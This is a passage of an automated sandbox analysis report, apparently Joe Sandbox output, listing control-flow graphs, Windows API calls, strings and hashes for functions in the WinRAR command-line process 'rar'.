                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 85119022A19742E1EA209F25A5205E9B360FF89BD5F485179EE8E83B65DF3CD504E700
                                                                                                                                                                                                                                          Function 00007FF68A221E80 Relevance: 7.6, APIs: 5, Instructions: 127filetimeCOMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 1773 7ff68a221e80-7ff68a221ebb call 7ff68a25a5a0 1776 7ff68a221ec8 1773->1776 1777 7ff68a221ebd-7ff68a221ec1 1773->1777 1779 7ff68a221ecb-7ff68a221f57 CreateFileW 1776->1779 1777->1776 1778 7ff68a221ec3-7ff68a221ec6 1777->1778 1778->1779 1780 7ff68a221f59-7ff68a221f76 GetLastError call 7ff68a234534 1779->1780 1781 7ff68a221fcd-7ff68a221fd1 1779->1781 1791 7ff68a221f78-7ff68a221fb6 CreateFileW GetLastError 1780->1791 1792 7ff68a221fba 1780->1792 1783 7ff68a221ff7-7ff68a22200f 1781->1783 1784 7ff68a221fd3-7ff68a221fd7 1781->1784 1785 7ff68a222027-7ff68a22204b call 7ff68a25a610 1783->1785 1786 7ff68a222011-7ff68a222022 call 7ff68a24a9e8 1783->1786 1784->1783 1788 7ff68a221fd9-7ff68a221ff1 SetFileTime 1784->1788 1786->1785 1788->1783 1791->1781 1794 7ff68a221fb8 1791->1794 1795 7ff68a221fbf-7ff68a221fc1 1792->1795 1794->1795 1795->1781 1796 7ff68a221fc3 1795->1796 1796->1781
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: File$CreateErrorLast$Time
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1999340476-0
                                                                                                                                                                                                                                          • Opcode ID: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
                                                                                                                                                                                                                                          • Instruction ID: 6a90891b7c734543cef6f6aa7c1d5be30ec69bb3331f69f98b0e6650a8bd8283
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: C8414872A1A28196FB708F24E624BE966A0BB487B8F080338DE79836C4CF7CC445D700
                                                                                                                                                                                                                                          Function 00007FF68A216AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: swprintf
                                                                                                                                                                                                                                          • String ID: rar.ini$switches=$switches_%ls=
                                                                                                                                                                                                                                          • API String ID: 233258989-2235180025
                                                                                                                                                                                                                                          • Opcode ID: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
                                                                                                                                                                                                                                          • Instruction ID: b951a3729b3dec278ca8f931d81d274dda017d49f10771e274e5b9bcdbc40207
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: D841D121A1A682E1EB34DB20DA601FD23A1FF447A4F4801B9EE5D83AD5EF3DE641D300
                                                                                                                                                                                                                                          Function 00007FF68A237E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AddressHandleModuleProcsetbuf$ErrorLibraryLoadModeVersion
                                                                                                                                                                                                                                          • String ID: rar.lng
                                                                                                                                                                                                                                          • API String ID: 553376247-2410228151
                                                                                                                                                                                                                                          • Opcode ID: da8370b5298aa504e96f4bedb37cf3b824543d1dd7ee1d37a7dea72557966179
                                                                                                                                                                                                                                          • Instruction ID: c81f0f1ce492a32a38bd086527f7f4c59df449a79b5e2211b8a1e58cd2351799
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: da8370b5298aa504e96f4bedb37cf3b824543d1dd7ee1d37a7dea72557966179
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 57417221A0F682E1EA34EB2496316F953A1BF86B54F4C00BCDD4D872D6CE2EE405E750
                                                                                                                                                                                                                                          Function 00007FF68A2340A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • SHGetMalloc.SHELL32(?,00000800,?,00007FF68A234432,?,?,?,?,00000800,00000000,00000000,00007FF68A2338CB,?,?,?,00007FF68A2341EC), ref: 00007FF68A2340C4
                                                                                                                                                                                                                                          • SHGetSpecialFolderLocation.SHELL32(?,?,?,?,00000800,00000000,00000000,00007FF68A2338CB,?,?,?,00007FF68A2341EC), ref: 00007FF68A2340DF
                                                                                                                                                                                                                                          • SHGetPathFromIDListW.SHELL32 ref: 00007FF68A2340F1
                                                                                                                                                                                                                                            • Part of subcall function 00007FF68A223458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF68A23413F,?,?,?,?,00000800,00000000,00000000,00007FF68A2338CB,?,?,?,00007FF68A2341EC), ref: 00007FF68A2234A0
                                                                                                                                                                                                                                            • Part of subcall function 00007FF68A223458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF68A23413F,?,?,?,?,00000800,00000000,00000000,00007FF68A2338CB,?,?,?,00007FF68A2341EC), ref: 00007FF68A2234D5
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CreateDirectory$FolderFromListLocationMallocPathSpecial
                                                                                                                                                                                                                                          • String ID: WinRAR
                                                                                                                                                                                                                                          • API String ID: 977838571-3970807970
                                                                                                                                                                                                                                          • Opcode ID: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
                                                                                                                                                                                                                                          • Instruction ID: 218eda70d01bc249a75951441d11dd389ba8150845a0a76c3d9e025ab1a7f976
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5E21651670DA42E0EA609F12A6602FA5370BF49BD1B4C5079DF8E87759DE3CD544D700
                                                                                                                                                                                                                                          Function 00007FF68A26978C Relevance: 6.1, APIs: 4, Instructions: 74COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 1949 7ff68a26978c-7ff68a2697b4 GetEnvironmentStringsW 1950 7ff68a2697ba-7ff68a2697c1 1949->1950 1951 7ff68a269860 1949->1951 1953 7ff68a2697c3 1950->1953 1954 7ff68a2697df-7ff68a269812 WideCharToMultiByte 1950->1954 1952 7ff68a269863-7ff68a269866 1951->1952 1955 7ff68a269868-7ff68a26986b FreeEnvironmentStringsW 1952->1955 1956 7ff68a269871-7ff68a26988e 1952->1956 1957 7ff68a2697c7-7ff68a2697cf 1953->1957 1954->1951 1958 7ff68a269814-7ff68a269817 call 7ff68a264ab4 1954->1958 1955->1956 1957->1957 1959 7ff68a2697d1-7ff68a2697dd 1957->1959 1961 7ff68a26981c-7ff68a269822 1958->1961 1959->1953 1959->1954 1962 7ff68a269824-7ff68a269849 WideCharToMultiByte 1961->1962 1963 7ff68a269853 1961->1963 1962->1963 1964 7ff68a26984b-7ff68a269851 1962->1964 1965 7ff68a269856-7ff68a26985e call 7ff68a264a74 1963->1965 1964->1965 1965->1952
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetEnvironmentStringsW.KERNELBASE(?,?,?,?,?,?,?,00007FF68A263CEF,?,?,00000000,00007FF68A263CAA,?,?,00000000,00007FF68A263FD9), ref: 00007FF68A2697A5
                                                                                                                                                                                                                                          • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF68A263CEF,?,?,00000000,00007FF68A263CAA,?,?,00000000,00007FF68A263FD9), ref: 00007FF68A269807
                                                                                                                                                                                                                                          • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF68A263CEF,?,?,00000000,00007FF68A263CAA,?,?,00000000,00007FF68A263FD9), ref: 00007FF68A269841
                                                                                                                                                                                                                                          • FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF68A263CEF,?,?,00000000,00007FF68A263CAA,?,?,00000000,00007FF68A263FD9), ref: 00007FF68A26986B
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ByteCharEnvironmentMultiStringsWide$Free
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1557788787-0
                                                                                                                                                                                                                                          • Opcode ID: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
                                                                                                                                                                                                                                          • Instruction ID: e6eeee3f66513f597f3ebf54f302c3f9b5de2075368be5ef314130bc90c2040a
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: AC218031E0AB51D1E6708F12A6601A9A6A4FF44BD0F0C4179DF8EA7B94DF3CE852D304
                                                                                                                                                                                                                                          Function 00007FF68A221C74 Relevance: 6.1, APIs: 4, Instructions: 55fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorLast$FileHandleRead
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2244327787-0
                                                                                                                                                                                                                                          • Opcode ID: 292f130439141af7737bd2c92edf84b453f5fe027529f60c064a2129a7dd684d
                                                                                                                                                                                                                                          • Instruction ID: 132c8b711a099f0422b9314ea4a5743f64aa4b9daa2a0001011b9c4564be775b
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 292f130439141af7737bd2c92edf84b453f5fe027529f60c064a2129a7dd684d
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 8E21D430E2E506D1EB30CF15E2207B9A2A0BF49B94F180179ED19CB6D4CE7CE984E601
                                                                                                                                                                                                                                          Function 00007FF68A24B850 Relevance: 6.0, APIs: 4, Instructions: 39COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CloseHandleReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 502429940-0
                                                                                                                                                                                                                                          • Opcode ID: 8563909dc3f60491a00452f33658f3f2e850a11d725ac5753c43192e2d1258eb
                                                                                                                                                                                                                                          • Instruction ID: d16730f1ed5eab0ef117902031e6274e57ae87705398e973e11df8fe6738033b
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8563909dc3f60491a00452f33658f3f2e850a11d725ac5753c43192e2d1258eb
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 8311823261AE41E7E224AB21E6546ADA330FF857A0F040235DFAE936A5CF39E575C704
                                                                                                                                                                                                                                          Function 00007FF68A2149F8 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: AFUM$default.sfx
                                                                                                                                                                                                                                          • API String ID: 0-2491287583
                                                                                                                                                                                                                                          • Opcode ID: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
                                                                                                                                                                                                                                          • Instruction ID: 0dea9e24c7e04dbd0d02ec352d7a3e27d1b7a5e123ab59b9adb2a89a93f745a3
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9181E861E0E682E0EB749B1083702FD22A1BF51794F4C80B9DE8D876D5DF2EB586E750
                                                                                                                                                                                                                                          Function 00007FF68A24B9BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Threadwcschr$CreateExceptionPriorityThrow
                                                                                                                                                                                                                                          • String ID: CreateThread failed
                                                                                                                                                                                                                                          • API String ID: 1217111108-3849766595
                                                                                                                                                                                                                                          • Opcode ID: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
                                                                                                                                                                                                                                          • Instruction ID: f2d1b1ad737c6c5069416e18b4e5f53863b56fbdb7b33a8dab62a989439fe391
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 96115E3190AB42E2E725EB14EA601FA7370FF84B84F5840B9DE5D82659DF3CE546D740
                                                                                                                                                                                                                                          Function 00007FF68A217B44 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                                                                                                                                                                                                          Download Yara Rule
